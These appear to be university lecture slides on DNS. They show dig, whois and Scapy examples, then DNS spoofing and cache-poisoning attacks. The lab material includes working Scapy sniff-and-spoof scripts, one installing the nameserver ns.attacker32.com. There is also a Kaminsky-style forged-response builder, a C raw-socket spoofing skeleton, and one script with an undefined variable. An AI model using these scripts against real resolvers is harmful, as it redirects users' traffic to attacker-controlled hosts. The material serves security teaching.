Aaron Bloomfield (aaron@virginia.edu)
@github | ↑ |
See more here
dig
: DNS lookup utility; shows the info a DNS server returnsnslookup
: really the same thing as dig
nslookup
uses it's own libraries, whereas dig
uses the OS oneswhois
: lookup registry information for a domainrndc
: name server control utility; we'll use it for viewing and flushing the DNS cachedig
and whois
$ dig virginia.edu
; <<>> DiG 9.10.6 <<>> virginia.edu
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43545
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;virginia.edu. IN A
;; ANSWER SECTION:
virginia.edu. 365 IN A 128.143.33.150
virginia.edu. 365 IN A 54.197.224.147
virginia.edu. 365 IN A 128.143.33.137
virginia.edu. 365 IN A 128.143.33.144
;; Query time: 37 msec
;; SERVER: 192.168.14.5#53(192.168.14.5)
;; WHEN: Sun Mar 17 19:11:33 EDT 2024
;; MSG SIZE rcvd: 105
$ nslookup 54.197.224.147
Server: 192.168.14.5
Address: 192.168.14.5#53
Non-authoritative answer:
147.224.197.54.in-addr.arpa name = ec2-54-197-224-147.compute-1.amazonaws.com.
Authoritative answers can be found from:
$
whois virginia.edu
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object
refer: whois.educause.edu
domain: EDU
organisation: EDUCAUSE
address: 282 Century Place, Suite 5000
address: Louisville CO 80027
address: United States of America (the)
contact: administrative
name: Information Services Administration
organisation: EDUCAUSE
address: 4772 Walnut Street, Suite 206
address: Boulder CO 80301
address: United States of America (the)
phone: +1-303-449-4430
fax-no: +1-303-440-0461
e-mail: netadmin@educause.edu
contact: technical
name: Registry Customer Service
organisation: VeriSign Global Registry
address: 12061 Bluemont Way
address: Reston VA 20190
address: United States of America (the)
phone: +1-703-925-6999
fax-no: +1-703-948-3978
e-mail: info@verisign-grs.com
nserver: A.EDU-SERVERS.NET 192.5.6.30 2001:503:a83e:0:0:0:2:30
nserver: B.EDU-SERVERS.NET 192.33.14.30 2001:503:231d:0:0:0:2:30
nserver: C.EDU-SERVERS.NET 192.26.92.30 2001:503:83eb:0:0:0:0:30
nserver: D.EDU-SERVERS.NET 192.31.80.30 2001:500:856e:0:0:0:0:30
nserver: E.EDU-SERVERS.NET 192.12.94.30 2001:502:1ca1:0:0:0:0:30
nserver: F.EDU-SERVERS.NET 192.35.51.30 2001:503:d414:0:0:0:0:30
nserver: G.EDU-SERVERS.NET 192.42.93.30 2001:503:eea3:0:0:0:0:30
nserver: H.EDU-SERVERS.NET 192.54.112.30 2001:502:8cc:0:0:0:0:30
nserver: I.EDU-SERVERS.NET 192.43.172.30 2001:503:39c1:0:0:0:0:30
nserver: J.EDU-SERVERS.NET 192.48.79.30 2001:502:7094:0:0:0:0:30
nserver: K.EDU-SERVERS.NET 192.52.178.30 2001:503:d2d:0:0:0:0:30
nserver: L.EDU-SERVERS.NET 192.41.162.30 2001:500:d937:0:0:0:0:30
nserver: M.EDU-SERVERS.NET 192.55.83.30 2001:501:b1f9:0:0:0:0:30
ds-rdata: 35663 13 2 a2e1614291831a4746b5ac52b4b345357687271e85353082741f1cf3d06a4c1d
whois: whois.educause.edu
status: ACTIVE
remarks: Registration information:
remarks: http://www.educause.edu/edudomain
created: 1985-01-01
changed: 2023-09-12
source: IANA
# whois.educause.edu
This Registry database contains ONLY .EDU domains.
The data in the EDUCAUSE Whois database is provided
by EDUCAUSE for information purposes in order to
assist in the process of obtaining information about
or related to .edu domain registration records.
The EDUCAUSE Whois database is authoritative for the
.EDU domain.
A Web interface for the .EDU EDUCAUSE Whois Server is
available at: http://whois.educause.edu
By submitting a Whois query, you agree that this information
will not be used to allow, enable, or otherwise support
the transmission of unsolicited commercial advertising or
solicitations via e-mail. The use of electronic processes to
harvest information from this server is generally prohibited
except as reasonably necessary to register or modify .edu
domain names.
-------------------------------------------------------------
Domain Name: VIRGINIA.EDU
Registrant:
University of Virginia
ITC, Carruthers Hall
P.O. Box 400198
Charlottesville, VA 22904-4198
USA
Administrative Contact:
Domain Admin
University of Virginia
ITC, Carruthers Hall
P.O. Box 400198
Charlottesville, VA 22904-4198
USA
+1.4349240621
networks@virginia.edu
Technical Contact:
Domain Admin
University of Virginia
ITC, Carruthers Hall
P.O. Box 400198
Charlottesville, VA 22904-4198
USA
+1.4349240621
networks@virginia.edu
Name Servers:
UVAARPA.VIRGINIA.EDU
EIP-01-AWS.NET.VIRGINIA.EDU
NOM.VIRGINIA.EDU
Domain record activated: 19-Mar-1986
Domain record last updated: 23-Aug-2022
Domain expires: 31-Jul-2025
127.0.0.1 localhost coolservername
127.0.1.1 othercoolservername
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
128.143.69.114 portal portal.cs.virginia.edu
nameserver 8.8.8.8
A query is made to the DNS resolver, which:
$ dig @a.root-servers.net www.cs.virginia.edu
; <<>> DiG 9.10.6 <<>> @a.root-servers.net www.cs.virginia.edu
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18521
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 27
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.cs.virginia.edu. IN A
;; AUTHORITY SECTION:
edu. 172800 IN NS b.edu-servers.net.
edu. 172800 IN NS f.edu-servers.net.
edu. 172800 IN NS i.edu-servers.net.
edu. 172800 IN NS a.edu-servers.net.
edu. 172800 IN NS g.edu-servers.net.
edu. 172800 IN NS j.edu-servers.net.
edu. 172800 IN NS k.edu-servers.net.
edu. 172800 IN NS m.edu-servers.net.
edu. 172800 IN NS l.edu-servers.net.
edu. 172800 IN NS h.edu-servers.net.
edu. 172800 IN NS c.edu-servers.net.
edu. 172800 IN NS e.edu-servers.net.
edu. 172800 IN NS d.edu-servers.net.
;; ADDITIONAL SECTION:
b.edu-servers.net. 172800 IN A 192.33.14.30
b.edu-servers.net. 172800 IN AAAA 2001:503:231d::2:30
f.edu-servers.net. 172800 IN A 192.35.51.30
f.edu-servers.net. 172800 IN AAAA 2001:503:d414::30
i.edu-servers.net. 172800 IN A 192.43.172.30
i.edu-servers.net. 172800 IN AAAA 2001:503:39c1::30
a.edu-servers.net. 172800 IN A 192.5.6.30
a.edu-servers.net. 172800 IN AAAA 2001:503:a83e::2:30
g.edu-servers.net. 172800 IN A 192.42.93.30
g.edu-servers.net. 172800 IN AAAA 2001:503:eea3::30
j.edu-servers.net. 172800 IN A 192.48.79.30
j.edu-servers.net. 172800 IN AAAA 2001:502:7094::30
k.edu-servers.net. 172800 IN A 192.52.178.30
k.edu-servers.net. 172800 IN AAAA 2001:503:d2d::30
m.edu-servers.net. 172800 IN A 192.55.83.30
m.edu-servers.net. 172800 IN AAAA 2001:501:b1f9::30
l.edu-servers.net. 172800 IN A 192.41.162.30
l.edu-servers.net. 172800 IN AAAA 2001:500:d937::30
h.edu-servers.net. 172800 IN A 192.54.112.30
h.edu-servers.net. 172800 IN AAAA 2001:502:8cc::30
c.edu-servers.net. 172800 IN A 192.26.92.30
c.edu-servers.net. 172800 IN AAAA 2001:503:83eb::30
e.edu-servers.net. 172800 IN A 192.12.94.30
e.edu-servers.net. 172800 IN AAAA 2001:502:1ca1::30
d.edu-servers.net. 172800 IN A 192.31.80.30
d.edu-servers.net. 172800 IN AAAA 2001:500:856e::30
;; Query time: 12 msec
;; SERVER: 198.41.0.4#53(198.41.0.4)
;; WHEN: Sun Mar 17 21:32:38 EDT 2024
;; MSG SIZE rcvd: 843
$
dig
Responsedig
response$ dig @b.edu-servers.net www.cs.virginia.edu
; <<>> DiG 9.10.6 <<>> @b.edu-servers.net www.cs.virginia.edu
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64912
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 4
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.cs.virginia.edu. IN A
;; AUTHORITY SECTION:
virginia.edu. 172800 IN NS nom.virginia.edu.
virginia.edu. 172800 IN NS uvaarpa.virginia.edu.
virginia.edu. 172800 IN NS eip-01-aws.net.virginia.edu.
;; ADDITIONAL SECTION:
nom.virginia.edu. 172800 IN A 128.143.107.101
uvaarpa.virginia.edu. 172800 IN A 128.143.107.117
eip-01-aws.net.virginia.edu. 172800 IN A 44.234.207.10
;; Query time: 109 msec
;; SERVER: 192.33.14.30#53(192.33.14.30)
;; WHEN: Sun Mar 17 21:35:22 EDT 2024
;; MSG SIZE rcvd: 165
$
$ dig @uvaarpa.virginia.edu www.cs.virginia.edu
; <<>> DiG 9.10.6 <<>> @uvaarpa.virginia.edu www.cs.virginia.edu
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14099
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 2
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.cs.virginia.edu. IN A
;; AUTHORITY SECTION:
cs.virginia.edu. 3600 IN NS coresrv01a.cs.virginia.edu.
;; ADDITIONAL SECTION:
coresrv01a.cs.virginia.edu. 3600 IN A 128.143.67.64
;; Query time: 13 msec
;; SERVER: 128.143.107.117#53(128.143.107.117)
;; WHEN: Sun Mar 17 21:37:14 EDT 2024
;; MSG SIZE rcvd: 89
$
$ dig @coresrv01a.cs.virginia.edu www.cs.virginia.edu
; <<>> DiG 9.10.6 <<>> @coresrv01a.cs.virginia.edu www.cs.virginia.edu
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45286
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;www.cs.virginia.edu. IN A
;; ANSWER SECTION:
www.cs.Virginia.EDU. 172800 IN A 128.143.67.11
;; Query time: 27 msec
;; SERVER: 128.143.67.64#53(128.143.67.64)
;; WHEN: Sun Mar 17 21:38:17 EDT 2024
;; MSG SIZE rcvd: 83
$
rndc dumpdb -cache
rndc flush
Just the relevant ones are shown here
$ python3
>>> from scapy.all import *
>>> ls(DNS)
length : ShortField (Cond) = ('None')
id : ShortField = ('0')
qr : BitField (1 bit) = ('0')
opcode : BitEnumField = ('0')
aa : BitField (1 bit) = ('0')
tc : BitField (1 bit) = ('0')
rd : BitField (1 bit) = ('1')
ra : BitField (1 bit) = ('0')
z : BitField (1 bit) = ('0')
ad : BitField (1 bit) = ('0')
cd : BitField (1 bit) = ('0')
rcode : BitEnumField = ('0')
qdcount : DNSRRCountField = ('None')
ancount : DNSRRCountField = ('None')
nscount : DNSRRCountField = ('None')
arcount : DNSRRCountField = ('None')
qd : DNSQRField = ('<DNSQR |>')
an : DNSRRField = ('None')
ns : DNSRRField = ('None')
ar : DNSRRField = ('None')
>>>
Answer and Authority records are the same, other than type. Additional records are just like Answer records.
$ python3
>>> from scapy.all import *
>>>
>>> ls(DNSQR) # for question records
qname : DNSStrField = ("b'www.example.com.'")
qtype : ShortEnumField = ('1')
qclass : ShortEnumField = ('1')
>>>
>>> ls(DNSRR) # for answer and authority records
rrname : DNSStrField = ("b'.'")
type : ShortEnumField = ('1')
rclass : ShortEnumField = ('1')
ttl : IntField = ('0')
rdlen : FieldLenField = ('None')
rdata : MultipleTypeField (IPField, IP6Field, DNSStrField, DNSTextField, StrLenField) = ("b''")
>>>
#!/usr/bin/env python3
from scapy.all import *
IPpkt = IP(dst='8.8.8.8') # Google's DNS
UDPpkt = UDP(dport=53)
Qdsec = DNSQR(qname='www.virginia.edu')
DNSpkt = DNS(id=100, qr=0, qdcount=1, qd=Qdsec)
Querypkt = IPpkt/UDPpkt/DNSpkt
Replypkt = sr1(Querypkt)
reply = Replypkt[DNS]
print(repr(reply))
>>> ls(reply)
length : ShortField (Cond) = None ('None')
id : ShortField = 100 ('0')
qr : BitField (1 bit) = 1 ('0')
opcode : BitEnumField = 0 ('0')
aa : BitField (1 bit) = 0 ('0')
tc : BitField (1 bit) = 0 ('0')
rd : BitField (1 bit) = 1 ('1')
ra : BitField (1 bit) = 1 ('0')
z : BitField (1 bit) = 0 ('0')
ad : BitField (1 bit) = 0 ('0')
cd : BitField (1 bit) = 0 ('0')
rcode : BitEnumField = 0 ('0')
qdcount : DNSRRCountField = 1 ('None')
ancount : DNSRRCountField = 4 ('None')
nscount : DNSRRCountField = 0 ('None')
arcount : DNSRRCountField = 0 ('None')
qd : DNSQRField = <DNSQR qname='www.virginia.edu.' qtype=A qclass=IN |> ('<DNSQR |>')
an : DNSRRField = <DNSRR rrname='www.virginia.edu.' type=CNAME rclass=IN ttl=16597 rdlen=31 rdata='uvahome.prod.acquia-sites.com.' |<DNSRR rrname='uvahome.prod.acquia-sites.com.' type=CNAME rclass=IN ttl=60 rdata='mc-16290-1066158619.us-east-1.elb.amazonaws.com.' |<DNSRR rrname='mc-16290-1066158619.us-east-1.elb.amazonaws.com.' type=A rclass=IN ttl=60 rdlen=4 rdata=54.227.148.53 |<DNSRR rrname='mc-16290-1066158619.us-east-1.elb.amazonaws.com.' type=A rclass=IN ttl=60 rdlen=4 rdata=54.174.200.221 |>>>> ('None')
ns : DNSRRField = None ('None')
ar : DNSRRField = None ('None')
>>>
The qd
and an
fields are on the next slide
qd
field:
<DNSQR qname='www.virginia.edu.' qtype=A qclass=IN |> ('<DNSQR |>')
an
field:
<DNSRR rrname='www.virginia.edu.' type=CNAME rclass=IN ttl=16597 rdlen=31
rdata='uvahome.prod.acquia-sites.com.' |<DNSRR
rrname='uvahome.prod.acquia-sites.com.' type=CNAME rclass=IN ttl=60
rdata='mc-16290-1066158619.us-east-1.elb.amazonaws.com.' |<DNSRR
rrname='mc-16290-1066158619.us-east-1.elb.amazonaws.com.' type=A rclass=IN
ttl=60 rdlen=4 rdata=54.227.148.53 |<DNSRR
rrname='mc-16290-1066158619.us-east-1.elb.amazonaws.com.' type=A rclass=IN
ttl=60 rdlen=4 rdata=54.174.200.221 |>>>> ('None')
The very last line has the IP: 54.174.200.221
#!/usr/bin/env python3
from scapy.all import *
from socket import AF_INET, SOCK_DGRAM, socket
sock = socket(AF_INET, SOCK_DGRAM)
# port 53 may be taken, so we listen on port 1053
sock.bind(('0.0.0.0', 1053))
while True:
request, addr = sock.recvfrom(4096)
DNSreq = DNS(request)
query = DNSreq.qd.qname
print(query.decode('ascii'))
# construct the sections of the dig response
# answer section: we always return 10.2.3.6
Anssec = DNSRR(rrname=DNSreq.qd.qname, type='A',
rdata='10.2.3.6', ttl=86400)
# two authority sections: other NS to ask
NSsec1 = DNSRR(rrname="example.com", type='NS',
rdata='ns1.example.com', ttl=86400)
NSsec2 = DNSRR(rrname="example.com", type='NS',
rdata='ns2.example.com', ttl=86400)
## additional sections: more info, such as the NS IPs
Addsec1 = DNSRR(rrname='ns1.example.com', type='A',
rdata='10.2.3.1', ttl=86400)
Addsec2 = DNSRR(rrname='ns2.example.com', type='A',
rdata='10.2.3.2', ttl=86400)
# combine all these into a single DNS packet
DNSpkt = DNS(id=DNSreq.id, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=2, arcount=2,
qd=DNSreq.qd, an=Anssec,
ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
# print the packet and then send it back
print(repr(DNSpkt))
sock.sendto(bytes(DNSpkt), addr)
$ dig @localhost -p 1053 www.example.com
; <<>> DiG 9.10.6 <<>> @localhost -p 1053 www.example.com
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14967
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; QUESTION SECTION:
;www.example.com. IN A
;; ANSWER SECTION:
www.example.com. 86400 IN A 10.2.3.6
;; AUTHORITY SECTION:
example.com. 86400 IN NS ns1.example.com.
example.com. 86400 IN NS ns2.example.com.
;; ADDITIONAL SECTION:
ns1.example.com. 86400 IN A 10.2.3.1
ns2.example.com. 86400 IN A 10.2.3.2
;; Query time: 4 msec
;; SERVER: 127.0.0.1#1053(127.0.0.1)
;; WHEN: Sun Mar 17 22:36:21 EDT 2024
;; MSG SIZE rcvd: 206
$
On the local machine (1), between the resolver and the local machine (2), between the resolver and the Internet (3), and a malicious DNS server (4)
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if(DNS in pkt and 'example.com' in
pkt[DNS].qd.qname.decode('utf-8')):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
rdata='1.2.3.4', ttl=86400)
DNSpkt = DNS(id=pkt[DNS].id, aa=1, rd=0,
qdcount=1, qr=1, ancount=1,
qd=pkt[DNS].qd, an=Anssec, ns=NSsec)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
f = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt=sniff(iface='eth1', filter=f, prn=spoof_dns)
nslookup
Outputroot@outer1:/# nslookup example.com
Server: 192.168.100.1
Address: 192.168.100.1#53
Non-authoritative answer:
Name: example.com
Address: 1.2.3.4
root@outer1:/#
dig
Outputroot@outer1:/# dig example.com
; <<>> DiG 9.18.18-0ubuntu0.22.04.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41173
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 10ea56a59bc6c7380100000065fa3c02a6160747ce093f96 (good)
;; QUESTION SECTION:
;example.com. IN A
;; ANSWER SECTION:
example.com. 86400 IN A 1.2.3.4
;; Query time: 1 msec
;; SERVER: 192.168.100.1#53(192.168.100.1) (UDP)
;; WHEN: Tue Mar 19 21:29:38 EDT 2024
;; MSG SIZE rcvd: 84
root@outer1:/#
tc
command on firewall// add a delay to the eth0 interface
tc qdisc add dev eth0 root netem delay 500ms
// see the delay on the eth0 interface
tc qdisc show dev eth0
// remove the delay on the eth0 interface
tc qdisc del dev eth0 root netem
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if(DNS in pkt and 'example.com' in
pkt[DNS].qd.qname.decode('utf-8')):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
rdata='1.2.3.4', ttl=86400)
NSsec = DNSRR(rrname="example.com", type='NS',
rdata='ns.attacker32.com', ttl=86400)
DNSpkt = DNS(id=pkt[DNS].id, aa=1, rd=0,
qdcount=1, qr=1, ancount=1, nscount=1,
qd=pkt[DNS].qd, an=Anssec, ns=NSsec)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
f = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt=sniff(iface='eth0', filter=f, prn=spoof_dns)
In the DNS cache:
# dig NS example.com
;; QUESTION SECTION:
example.com. IN NS
;; ANSWER SECTION:
example.com. 172204 IN NS ns.attacker32.com
Example usage:
$ dig xyz.example.com
;; ANSWER SECTION:
xyz.example.com 86400 IN A 1.2.3.6
$ dig abc.example.com
;; ANSWER SECTION:
abc.example.com 86400 IN A 1.2.3.6
Here, 1.2.3.6 is what the malicious nameserver returns
nslookup foo.example.com
will do it#!/bin/env python3
from scapy.all import *
# We are targeting the example.com domain.
targetName = 'aaaaa.example.com'
targetDomain = 'example.com'
# The objective of the attack is to get the targeted local
# DNS server to use the following name as the nameserver
# for the example.com domain.
attackerNS = 'ns.attacker32.com'
# dstIP is the IP address of the targeted local DNS server.
# srcIP can be address, because it will be replaced with
# the IP address of example.com's actual name server.
dstIP = '10.9.0.53'
srcIP = '1.2.3.4'
# Construct the IP and UDP header
ip = IP (dst = dstIP, src = srcIP)
# Set the checksum filed to zero. If this field is not set,
# Scapy will calculate checksum for us. Since the UDP packet
# will be modified later, this checksum will become invalid.
# Setting this field to zero means ignoring checksum (supported by UDP).
# Scapy will not do the calculation for us if the field is already set.
udp = UDP(dport = 33333, sport = 53, chksum=0)
# Construct the Question section
# The C code will modify the qname field
Qdsec = DNSQR(qname = targetName)
# Construct the Answer section (the answer can be anything)
# The C code will modify the rrname field
Anssec = DNSRR(rrname = targetName,
type = 'A',
rdata = '1.1.1.1',
ttl = 259200)
# Construct the Authority section (the main goal of the attack)
NSsec = DNSRR(rrname = targetDomain,
type = 'NS',
rdata = attackerNS,
ttl = 259200)
# Construct the DNS part
# The C code will modify the id field
dns = DNS(id = 0xAAAA, aa=1, rd=1, qr=1,
qdcount = 1, qd = Qdsec,
ancount = 1, an = Anssec,
nscount = 1, ns = NSsec)
# Construct the IP packet and save it to a file.
Replypkt = ip/udp/dns
with open('ip_resp.bin', 'wb') as f:
f.write(bytes(Replypkt))
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#define MAX_FILE_SIZE 1000000
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request( );
void send_dns_response( );
int main()
{
srand(time(NULL));
// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz";
while (1) {
// Generate a random name with length 5
char name[5];
for (int k=0; k<5; k++) name[k] = a[rand() % 26];
//##################################################################
/* Step 1. Send a DNS request to the targeted local DNS server.
This will trigger the DNS server to send out DNS queries */
// ... Students should add code here.
/* Step 2. Send many spoofed responses to the targeted local DNS server,
each one with a different transaction ID. */
// ... Students should add code here.
//##################################################################
}
}
/* Use for sending DNS request.
* Add arguments to the function definition if needed.
* */
void send_dns_request()
{
// Students need to implement this function
}
/* Use for sending forged DNS response.
* Add arguments to the function definition if needed.
* */
void send_dns_response()
{
// Students need to implement this function
}
/* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
;; QUESTION SECTION:
;abc.example.com IN A
;; ANSWER SECTION:
abc.example.com 86400 IN A 1.2.3.4
;; ADDITIONAL SECTION:
www.example.com 86400 IN A 1.2.3.5
instagram.com 86400 IN A 1.2.3.6
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'abc.example.com' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
rdata='1.2.3.4',ttl=259200)
Addsec1 = DNSRR(rrname='example.com', type='A',
ttl=259200, rdata='1.2.3.5')
Addsec2 = DNSRR(rrname='instagram.com', type='A',
ttl=259200,rdata='1.2.3.6')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1,rd=0,
qdcount=1,qr=1,ancount=1,nscount=0,arcount=2,
an=Anssec, ar=Addsec1/Addsec2)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt=sniff(filter='udp and (src host -.-.-.- and dst port 53)',
prn=spoof_dns) # fill in a real IP here
;; QUESTION SECTION:
;abc.example.com IN A
;; ANSWER SECTION:
abc.example.com 86400 IN A 1.2.3.4
;; AUTHORITY SECTION:
example.com 86400 IN NS ns.example.com
instagram.com 86400 IN NS ns.example.com
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'abc.example.com' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
rdata='1.2.3.4',ttl=259200)
# only the next three have changed
NSSec1 = DNSRR(rrname='example.com', type='NS',
ttl=259200, rdata='ns.example.com')
NSSec2 = DNSRR(rrname='instagram.com', type='NS',
ttl=259200,rdata='ns.example.com')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1,rd=0,
qdcount=1,qr=1,ancount=1,nscount=2,arcount=0,
an=Anssec, ns=NSSec1/NSSec2)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt=sniff(filter='udp and (src host -.-.-.- and dst port 53)',
prn=spoof_dns) # fill in a real IP here
;; QUESTION SECTION:
;abc.example.com IN A
;; ANSWER SECTION:
abc.example.com 86400 IN A 1.2.3.4
;; AUTHORITY SECTION:
example.com 86400 IN NS ns.example.com
example.com 86400 IN NS instagram.com
;; ADDITIONAL SECTION:
ns.example.com 86400 IN A 1.2.3.5
instagram.com 86400 IN A 1.2.3.6
Consider:
$ ping -c 1 portal.cs.virginia.edu
PING portal (128.143.69.114) 56(84) bytes of data.
64 bytes from portal (128.143.69.114): icmp_seq=1 ttl=63 time=0.216 ms
$ nslookup 128.143.69.114
114.69.143.128.in-addr.arpa name = portal.
114.69.143.128.in-addr.arpa name = portal.cs.virginia.edu.
$
$ dig @a.root-servers.net -x 128.143.69.114
; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @a.root-servers.net -x 128.143.69.114
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7066
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 13
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;114.69.143.128.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
in-addr.arpa. 172800 IN NS e.in-addr-servers.arpa.
in-addr.arpa. 172800 IN NS f.in-addr-servers.arpa.
in-addr.arpa. 172800 IN NS d.in-addr-servers.arpa.
in-addr.arpa. 172800 IN NS c.in-addr-servers.arpa.
in-addr.arpa. 172800 IN NS b.in-addr-servers.arpa.
in-addr.arpa. 172800 IN NS a.in-addr-servers.arpa.
;; ADDITIONAL SECTION:
e.in-addr-servers.arpa. 172800 IN A 203.119.86.101
e.in-addr-servers.arpa. 172800 IN AAAA 2001:dd8:6::101
f.in-addr-servers.arpa. 172800 IN A 193.0.9.1
f.in-addr-servers.arpa. 172800 IN AAAA 2001:67c:e0::1
d.in-addr-servers.arpa. 172800 IN A 200.10.60.53
d.in-addr-servers.arpa. 172800 IN AAAA 2001:13c7:7010::53
c.in-addr-servers.arpa. 172800 IN A 196.216.169.10
c.in-addr-servers.arpa. 172800 IN AAAA 2001:43f8:110::10
b.in-addr-servers.arpa. 172800 IN A 199.253.183.183
b.in-addr-servers.arpa. 172800 IN AAAA 2001:500:87::87
a.in-addr-servers.arpa. 172800 IN A 199.180.182.53
a.in-addr-servers.arpa. 172800 IN AAAA 2620:37:e000::53
;; Query time: 4 msec
;; SERVER: 198.41.0.4#53(a.root-servers.net) (UDP)
;; WHEN: Thu Mar 21 22:53:29 EDT 2024
;; MSG SIZE rcvd: 432
$ dig @a.in-addr-servers.arpa -x 128.143.69.114
; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @a.in-addr-servers.arpa -x 128.143.69.114
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27384
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 1
